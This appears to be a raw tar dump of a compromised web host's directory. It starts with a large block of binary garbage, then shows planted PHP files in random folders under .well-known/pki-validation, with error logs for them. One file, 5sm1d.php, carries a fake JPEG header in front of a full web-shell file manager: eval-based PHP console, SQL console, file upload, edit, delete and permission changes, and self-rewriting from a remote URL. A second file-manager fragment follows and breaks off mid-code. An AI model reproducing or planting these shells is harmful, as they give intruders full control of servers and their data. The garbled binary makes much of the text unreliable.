-Ƥx/ԫP OEi6\V]pZtnwƫUF;GRѷ+ÍT .')h^IZZ5Uk3afO˚E&uT/}YTG.٫*OFJ}0Li?'笨lG&jtW FasgmruF5\4^W4B7*eЬث}>V$8EU*SY+,nVm.m*ZﴀZM t"v>WmT+ftӫSn4}(: d۩^pe_ w{tKimE jt/LiqFziͧJSXNJcOqǣ)spԢ7["TVg %sҡ~hB0^ԗ:T[}Iv^+`Z o;>7c|61DZQ6Vj7r-y6|xӨIAmю4bCm$UgYAiw jUXtZ/A>Esasm;3ʼףd8K]lRL4-vCtaR<ݪb [zl9tvS*~xʾq@1;4:xuXo/G}s#;z`Y(p#DM9UlnR/'ITPV 0q(#?|[Nǃ5kVi5ۡQ9*יbXwsШbZq(Ndœ6}+ngh URj3'Gvj/sSn;{l?3N7yxrUYwƹ7Ϥ`a!C {FR۷aYi*gF0*T _z_ƕViYt:ݨ3-_o/{V#4Qªs5m }`܏t'Zڪj/qo4UKh#؈DJM sAA$+w?*v`kMC[fbṫڮU'\#3l [ ӫmijv;E9֊+Lxkp{["V:p XaOh8ό%y `@j=HЙhrmOӋM,27l]FbEcdY0QQ䀟 bQ6^c1W\dZdLOsqz0ͩQѢDnNt?g3j2o=b,77 =χ,]<z3ñ,.fzGJ<2=X|y<NGxZѴ~nH|Z-i4=:=jys̎^n`:a5:VXIt`V<.ΒeőWVpZ lĒt$_$;M ߕ8 2b  6+Z$s'uxbv[z6%yk>uʻh5|ocAN[W,]1F-͋&ؙ~3t= D6_zO96 R$Si>\U6]{\lIzUܰh()шZlv9mqgЙ=fr,^'Z7XRԿLL[i~k֙'Q )ѓ qB:3ME*3q͓.Jq⣕7έ Z7Gf}׈4c S&m͇AMTZ{bAVjQiD}pdqiijL;g@dwFa%ZsG$͆bFxfPmKzǣAq)ۨs'gZtxthqga*@\4687b>e~bvoKiL+Otd$7r{hE"lQ-2EpKuzRP2&h1v*tK,6v=~PSpV\˃^;B3Slߗ+y4GpfQ|{MJp\vW"rΆ.[$=ȞX 3: xhV¡tOm'0`!mV|؏Td_ ry49T~#EI%VXqPf?d%r%DhTWgVZD7]6F }KgRbt^+ZiO'am l ~Wfp0գ4hLxUM*<:=Zjmr'g+`d#b*F{kW^{ULbnJZSt؍"8P<:w*? %^. biXU*t`7t$A6* S#sأҞH+qa¯F,5A9^T< W¼NmO5Ħ(؆=:+`hڨqm6۬d֊c;YN +. (vìb#,bKOQm+xE76 y?) |cQ`2-x}+CU`슳֠clTQy9z:U+mPjr^ϳTXxi+NM)RgΏکF0“ 4 Z\-V>h*juϯMNU%9-*8VxX+t3stVM͙a5]μ r%M׫ip(BN:˚G"4j+fɥ2>!-(%bigT_I|uayN(f1jCe! u{m T9WJ-F\tQޟ`:B2T`2Y{ѠXnr:|jEY>JYbs`/Tu(Qn XU~9x=ό=uշp@Y'FGwilU %/>&/Ϻts'7\,( &x?s k_~%EB'8Lo 'n-ԖH< "&h.-x-PMhrhS`"B덮+gJw?<"boƟJwMb54 j AO‹s"g '#Ƙԯ+qΉ3|vrD^ohr,3_`P+%e\ѹqӃpk5 v3j|-vz_!;~ 7rkʤnIߴ"#C毘k o@o7{ԝm|P {0f #A"hsr:Ӎ2ҩG :uhY&L,n9zҨ/ךNپ 6LO"*_@! wыesN9sR/ڸڥ~|ɯ&l}t:%sA|O5թ9WEs%B?;'EIu{Bou#" 2h+ PlR0Ta0Fw4Ga= %<xtGn0ؗkt2`Wi!Q]WxO>~xr飒b&K쯀.cZ }& J ҂f2ebX9.!ƺ! a*4RRQ'aH zRWo)c !T9ۈ7 *# awlbMZ88'T$' :':3I9QᓩQ]oo ̕O`ـ&Qڏ0"BbF^?Q)}f>Q ]$ZNϗ{D1nR(==x"p"`"A~$6!ok6 { FRME9Fog}w/z> +KW'l jN_@t#Tb~<oB>af J_ȓ ہ(Mw,v'膇'] 0Z=z*LX)%:dΎ@;+Lۑ<4e|osƇ"0F985 l?5~tHoșTXM:r0=Ⱥ^rhˆ`ʞJSPC-~2 (ogؘ@4_IAޑ[NVqyЅ-'kՀ=X@tzsάH;q׆7~t۫:QX6p`p9!:_yO;Ɖᢧ|R+sʿYWen#'Ex n/U`L<p*rjG2uz3cYԨ eYpюؗ[k8Kn=[ 8#Xy&26T.r~5ȗ37+9_3k #@ǻdL@k+Vd8Y#!Aݺᑫ^\2+e|T{X$"v\,y$>eЏnϸ qvBM]Ϲ[{`PZv=sxP:f` Χ^d$k qw=VB@"9qr(bܽ86X,9wh<_j dKsaZ w>O >|h}{7wyy! Pl0vyx}G59z _!шR"a Fw\ҘúT1+ŋHՅwRU{e0Oj+v$ 9ςϭ46Dc6w^{,Gw0'_v2tln8 >q<ҳ&spkkʰtXNuOS iIƵs:KjJܤOz̖1Evbz"i2 + .GC8yaiT,+#xzT|77VbOc؜,2:327K+ i+" LHKm|`:B`n/(x n̸wfqvW$e j$$F֥xRMtkn/+\M+QNL_x`m^ 9hlSFc?.uZת&J#=j?ؚ]KT_j [-Z_GO7$:jRQ|%Aa5Q ʟKMB7G?f Z()Zp9&F˺`* aͧLܑ"nNi%_Z 4a]¸9C1d-o2V\ ZV'N0WkFVvP[UIORXM)}RCMi@ʏh=Rz,F8.ߣՐڰfqj[/EF7_7F{mv ڹx%@ڐDޜY:K://l䌟ߝWh25{aኾa H;w Sw_Ii;#='*`#8Z?bkǹ^IWg vK~ѯcOH,`'k+4X!jG 8L*1b,ʍR)F̪"Ч0Ƴ l hܦ z(HOhF|VGtⳚ bcmW6v6 3mT-6Gvq\@&j wkv<|GN':%>2ǁ: T`~o.Oغ>(:1}x(+MP;]Nhh(Gܢ.LōFO VY~w뜱S$.wLT.TIi~6# 'ّ$ "d"Z TV @anWzIat"Xgګ4x<8]?Iy椸η +J._d$BOEa~=3B#A /lx!D)] KfY'384/p+!aE  3(zz^1m`^d/@)ZY?!p*U bKr5+]|`PVhI~|OoT`}@߆WT~Anvn0F͞3d @t*jy&Y'V:[{:v=].8$.I_菟$Z'N-LЭXEu>uӐlɓ s+0cUGVӥ:s.r>C9fẞKzQ8'\Eu5G}$~4ڧ1]sLeҬ%Nn枝VI>%|Vq DTdvJ$fRiw8>wCL $HZ*X9{y^cL`To C57޺SIKcߍś?FXNy%p_Iz4 Lj ,/_jMS$P1m ӣh^x/u3X *McЭtMXY$p"rau!(tߩ&ȣ}ϗ9+d">zj8^\- Y.@'*yIIuaUJ:mCD̲LEUOXsf||iǚ5^81epIW7t) ez-))YP.V`F1L5|wHMaLؤ-iu "`I^_ETu 6h;OrmϺ3:HOJ kߙ 50A'h9#PvmM&}@9m$ V\P* }hmGTtogC:oDHq|%7Qf F !˶8\hFxА4eeM4H)Ss$Erׇ?/~|z}/h4L||{{}?8ݠERbPú .6O>7Pu_x;S6^\uDFt`㩏'DO HJ-J;>ow@]v@Chpa=6}Wlt"5v,'Tlqz{%'K^Ȫ$OWS\^AXsƸ6[unOd6?J@h>?oQ2OFGhQonl힟UCۍ,1`9'E #"ʯI$o2AGGX@>2]%gXh$F,(yXl(ΥŪwmuvZ,%k-P%T"yk0ha$Z3jJԑL癭W-xI$J9ϜoqHRs1a:th!sݽ*/^?{,*-K՜M$ۘKAj)m: }l$1 {4Je?Yuw+/x Nd.g|e:AOW4>F1JpMxwW>hݝ>54kaBU0wgHNAIezC g d-㎰]+\V5 ;H` (MUKv8B 93 =z T+lk*+2rrvdyx>(CƲfc s 8]˰cxTd;vcI<_̔,/U\unSC+LGX;=+D|)ԬE#Ȓ'۲<5Q"{"s՟iԈt^XMOqs#\@0O7O{DR C{T=uc+3t.E͒CNа.:ΡJygJ2 3[|õ ~5C Šx.x0-z5J.X?2;/G(%rxkΐw>JFv01c݄7jKOcfW ɫYju{։srUEP7K1ꖐq2n3=)Ֆ{cDl6ZӇ$-s)>~Ld- `d%~1M*_ O-O p+Xȹk ˅kNO ]V7-ggTV8Z"&BGT tJVki%MU55V9xan,B ۀUty/jLe|F&/_*{\eVu/o5( ڻ( RҲXʄS^|z [Nvr ĜXkY2|3pֳXY!Jz(ƕPN1Pkc ݯz\j8oGWRHt1~AK%]FdΖ%me t.M ogwcNBJ<f*IWjd4w['nӳ=3ƚ;r!cʑ1N|a঒SC7^!Z;X|i5L- ISJY)~??G ֭DlM1fHO j6Yb(gY} #e`$6akI,)]Sqʒ-H+fo4=MY[#tnjlfE^5S۹ gCY\5fbv fv9f NK۳ق+mSo\FZd}=^=8^7K^ݎS LMv%B~/Q>PWB'Z;m}i 0r\pKεqm,hE`@[(Rm(١/4FU?qԽ3wA%3]Nr#/hM k`zr;E=+he[mpe)CF$I pxXne"5͘#bBpZHjDT-#5#_L|Mڞ\lHܥ{yUֱ9 !u%D@[$6/rXUYd9]'/C\hm7Z6T({8Ų h97pї5g*65j"SdM0oԦEm 'O|P S?%W֘:AU_X?) " mӸd`cOK&2`1|m /j9HTjW̞$Fc!+렚U׮ȭ-ܖx҆[ 9ҷna \N-r zk^y\\AxsKa`lF4 hlI w;PW/+Ss|jb#Ӣ:R":‹"a2ZyA\>p\#kp6efM҄ ,@9U<ӗzhy9d{!bʰmĴJ$?2 x֩58;%My; I| n[v^YlgToJ%W9ֈm=njb(#^{GkdyC[m$3" ½{kew4NR1%)9"3sG+Pc,E"5{|v5+ .u#&dbx+$9Eq{9)4td23[=eܝ5lSUd"O[yS@-7`ilC5SU\CəkZ抝״74%K#א흕 ozvKJ݈ VvW޲R7wͳ(7yM3Zn&YV`b흇#}ۿ?b K@ Wm;n7C. lj vn:wŠ@&B7ib'ik 11-zv< l,ͥ"38G)D+ ezH:D,t,J٠߉%lJAZEzl7U 1̔wS]qDTnx㵾6?k+~ˆkp d#sE>#(ӟ^t>Ԙ1Kф9Z?^nw</LYD__ϖ nұVW<~uVyzzӗO+x޷rw01NQ (yq^=U-?^xo(uPKg[RB' index.php.tarnu[home/gettoplisting/public_html/.well-known/pk14de/index.php000064400000000147151030260140017747 0ustar00PKg[(upki-validation.tarnu[wm4d0p/index.php000064400000000150151033200740007466 0ustar0059f2lz/index.php000064400000000152151033200740007410 0ustar00sg0tex/index.php000064400000000147151033200740007573 0ustar00je53dt/error_log000064400000000226151033200740007552 0ustar00[27-Oct-2025 03:46:41 UTC] PHP Notice: Undefined index: uid in /home/gettoplisting/public_html/.well-known/pki-validation/je53dt/skbzl.php on line 1 ut5md8/index.php000064400000000150151033200740007501 0ustar00riuk7t/error_log000064400000002342151033200740007702 0ustar00[27-Oct-2025 03:45:37 UTC] PHP Notice: Undefined variable: authorization in /home/gettoplisting/public_html/.well-known/pki-validation/riuk7t/5sm1d.php on line 20 [27-Oct-2025 03:45:37 UTC] PHP Notice: Undefined variable: translation in /home/gettoplisting/public_html/.well-known/pki-validation/riuk7t/5sm1d.php on line 81 [27-Oct-2025 03:45:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/.well-known/pki-validation/riuk7t/5sm1d.php on line 83 [07-Nov-2025 06:20:05 UTC] PHP Notice: Undefined variable: authorization in /home/gettoplisting/public_html/.well-known/pki-validation/riuk7t/5sm1d.php on line 20 [07-Nov-2025 06:20:05 UTC] PHP Notice: Undefined variable: translation in /home/gettoplisting/public_html/.well-known/pki-validation/riuk7t/5sm1d.php on line 81 [07-Nov-2025 06:20:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/.well-known/pki-validation/riuk7t/5sm1d.php on line 83 riuk7t/5sm1d.php000064400000231463151033200740007437 0ustar00ÿØÿà JFIF    ÿÛ „ ( %!1!%*+...983,7(-.- true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 